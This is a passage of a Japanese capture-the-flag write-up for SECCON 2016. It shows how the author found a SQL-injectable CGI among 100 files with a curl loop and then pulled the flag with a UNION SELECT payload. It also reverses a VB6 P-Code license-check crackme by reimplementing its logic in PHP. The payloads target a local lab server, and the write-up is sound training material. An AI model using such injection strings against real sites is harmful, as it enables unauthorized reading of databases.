<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="38.cgi">38.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="39.cgi">39.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="40.cgi">40.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="41.cgi">41.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="42.cgi">42.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="43.cgi">43.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="44.cgi">44.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="45.cgi">45.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="46.cgi">46.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="47.cgi">47.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="48.cgi">48.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="49.cgi">49.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="50.cgi">50.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="51.cgi">51.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="52.cgi">52.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="53.cgi">53.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="54.cgi">54.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="55.cgi">55.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="56.cgi">56.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="57.cgi">57.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="58.cgi">58.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="59.cgi">59.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="60.cgi">60.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="61.cgi">61.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="62.cgi">62.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="63.cgi">63.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="64.cgi">64.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="65.cgi">65.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="66.cgi">66.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="67.cgi">67.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="68.cgi">68.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="69.cgi">69.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="70.cgi">70.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="71.cgi">71.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="72.cgi">72.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="73.cgi">73.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="74.cgi">74.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="75.cgi">75.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="76.cgi">76.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="77.cgi">77.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="78.cgi">78.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="79.cgi">79.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="80.cgi">80.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="81.cgi">81.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="82.cgi">82.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="83.cgi">83.cgi</a></td><td align="right">28-Nov-2016 11:41  </td
100 19795    0 19795    0     0  4160k      0 --:--:-- --:--:-- --:--:-- 4832k
><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="84.cgi">84.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="85.cgi">85.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="86.cgi">86.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="87.cgi">87.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="88.cgi">88.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="89.cgi">89.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="90.cgi">90.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="91.cgi">91.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="92.cgi">92.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="93.cgi">93.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="94.cgi">94.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="95.cgi">95.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="96.cgi">96.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="97.cgi">97.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="98.cgi">98.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="99.cgi">99.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="100.cgi">100.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache Server at 127.0.0.1 Port 81</address>
</body></html>

1~100までのCGIファイルがあることが分かる. 取り敢えず1.cgiにアクセスしてみると

curl --user keigo:test "http://127.0.0.1:81/authed/sqlinj/1.cgi"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
154   154    0   154    0     0   4701      0 --:--:-- --:--:-- --:--:--  4812
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
</body></html>

となっているので, ?no=4822267938を付けてアクセスしてみる.

curl --user keigo:test "http://127.0.0.1:81/authed/sqlinj/1.cgi?no=4822267938"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
116   233    0   233    0     0   5849      0 --:--:-- --:--:-- --:--:--  5974
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
ISBN-10: 4822267938<br>
ISBN-13: 978-4822267933<br>
PUBLISH: 2016/2/19<p>
</body></html>

本のISBN番号とかを表示するらしい. ディレクトリ名からしても明らかにSQL Injection出来るので, やってみる.

curl --user keigo:test "http://127.0.0.1:81/authed/sqlinj/1.cgi?no=4822267938'+1=1--"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
159   159    0   159    0     0   4264      0 --:--:-- --:--:-- --:--:--  4297
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
</body></html>

ダメっぽい. 取り敢えず100まで試してみる.

for i in {1..100}
do
    curl --user keigo:test "http://127.0.0.1:81/authed/sqlinj/$i.cgi?no=4822267938%27--"
    echo $i
done
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
116   233    0   233    0     0   5823      0 --:--:-- --:--:-- --:--:--  5974
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
ISBN-10: 4822267938<br>
ISBN-13: 978-4822267933<br>
PUBLISH: 2016/2/19<p>
</body></html>72

よって72.cgiSQL Injectionが可能. あとはやるだけ.

curl --user keigo:test "http://127.0.0.1:81/authed/sqlinj/72.cgi?no=482226793%27UNION+SELECT+0,0,f1ag+FROM+f1ags--"

flagはSECCON{I want to eventually make a CGC web edition... someday...}


Retrospective [Binary][200]

Reverse it.
[file](http://files.quals.seccon.jp/file)

与えられたファイルを調べると

$ file https://www.vb-decompiler.org/
Retrospective: PE32 executable (GUI) Intel 80386, for MS Windows

$ strings Retrospective
-- snip --
C:\Program Files\Microsoft Visual Studio\VB98\VB6.OLB
-- snip --

このことから, VB6で作成されたバイナリだということが分かる.

拡張子をexeにして実行してみると, ライセンスキーを入力しろと表示されるため, 正しいライセンスキーを見つける問題だと推測出来る. バイナリ問題なのでIDAに突っ込んでみるが, ブレークポイントが刺さらなかったり, 挙動がおかしい. 一般的なPEバイナリではないようだ. しばらく調べてみると, VBについて詳しくないので詳細は分からないが, VB6はネイティブのexe以外に, P-Codeコンパイルというものがあるらしく, 現在の.NETのILのようなものがあるらしい.
Microsoft P-Code

中間言語なので上手くデコンパイル出来ないか調べてみると, いくつかツールが見つかった. 今回は以下のFree版を使った. (Free版だとexeをP-Code出力するだけだが, 課金すればVBのコードにしてくれるらしい…)
https://www.vb-decompiler.org/

行数がスゴく多いので出力されたP-Codeは省略するが, あとは読めば解ける. 以下はP-Codeを読みながら, PHPでRetrospectiveを模して実装したもの.

<?php

define('USER_INPUT', 'ユーザの入力値');

// 文字列の左端から指定された文字数分の文字列を返す
function Left(string $str, int $length) : string
{
    return substr($str, 0, $length);
}

// 文字列の右端から指定された文字数分の文字列を返す
function Right(string $str, int $length) : string
{
    return substr($str, (-1) * $length);
}

// 部分文字列ごとに区切られた文字列からゼロ ベースの 1 次元配列を作成し返す
function Split(string $str, string $d, int $length, int $c) : array
{
    return explode($d, $str, $length);
}

// 文字列から指定された文字数分の文字列を返す
function Mid(string $str, int $start, int $length) : string
{
    return substr($str, $start, $length);
}

// 文字に対応する文字コードを表す整数型の値を返す
function Asc(string $str) : int
{
    return ord($str[0]);
}

// SHA1だと思う
// https://ja.wikipedia.org/wiki/SHA-1
function calchash(string $str) : string
{
    return strtoupper(sha1($str));
}

// 入力値は8文字以上で, 'SECCON{' と '}' に挟まれている
if(strlen(USER_INPUT) < 8 || Left(USER_INPUT, 7) != 'SECCON{' || Right(USER_INPUT, 1) != '}')
{
    exit();
}

// 入力値を '_' でセパレートする
$data = Split(substr(USER_INPUT, 7, -1), '_', -1, 0);

// 2つ以上の配列であるか
if(count($data) <= 2)
{
    exit();
}

// 1つ目の文字列が 'LEGACY' であるか
if($data[0] != 'LEGACY')
{
    exit();
}

/**
 * (data[1][0] * 1) + (data[1][1] * 4) = 350
 * => data[1][0] = 86 => 'V'
 *    data[1][1] = 66 => 'B'
 */
$value = 0;
for($i=0; $i<strlen($data[1]); $i++)
{
    $value += Asc($data[1][$i]) * (4 ** $i);
}
if((strlen($data[1]) != 2) || ($value != 350))
{
    exit();
}

/**
 * 0x15E50 - 350 * 256 = 80 => 'P'
 */
$value = 350 * 256;
for($i=0; $i<strlen($data[2]); $i++)
{
    $value += Asc($data[2][$i]) * (4 ** $i);
}
if($value != 0x15E50)
{
    exit();
}

/**
 * SECCON{LEGACY_VB_P_????}
 * 残りはBrute Forceですぐに解読可能
 */
$value = 0;
for($i=0; $i<strlen(USER_INPUT); $i++)
{
    $value += Asc(USER_INPUT[$i]) * (2 ** $i);
}

$hash = calchash(USER_INPUT);
if(($value == 1645164145) && ($hash == '8B292F1A9C4631B3E13CD49C64EF74540352D0C0'))
{
    $h = 'Thank you f|| your purchase :-) ' . PHP_EOL . 'And, ' . USER_INPUT . ' is Flag.';
    print($h);
}

よってflagはSECCON{LEGACY_VB_P_CODE}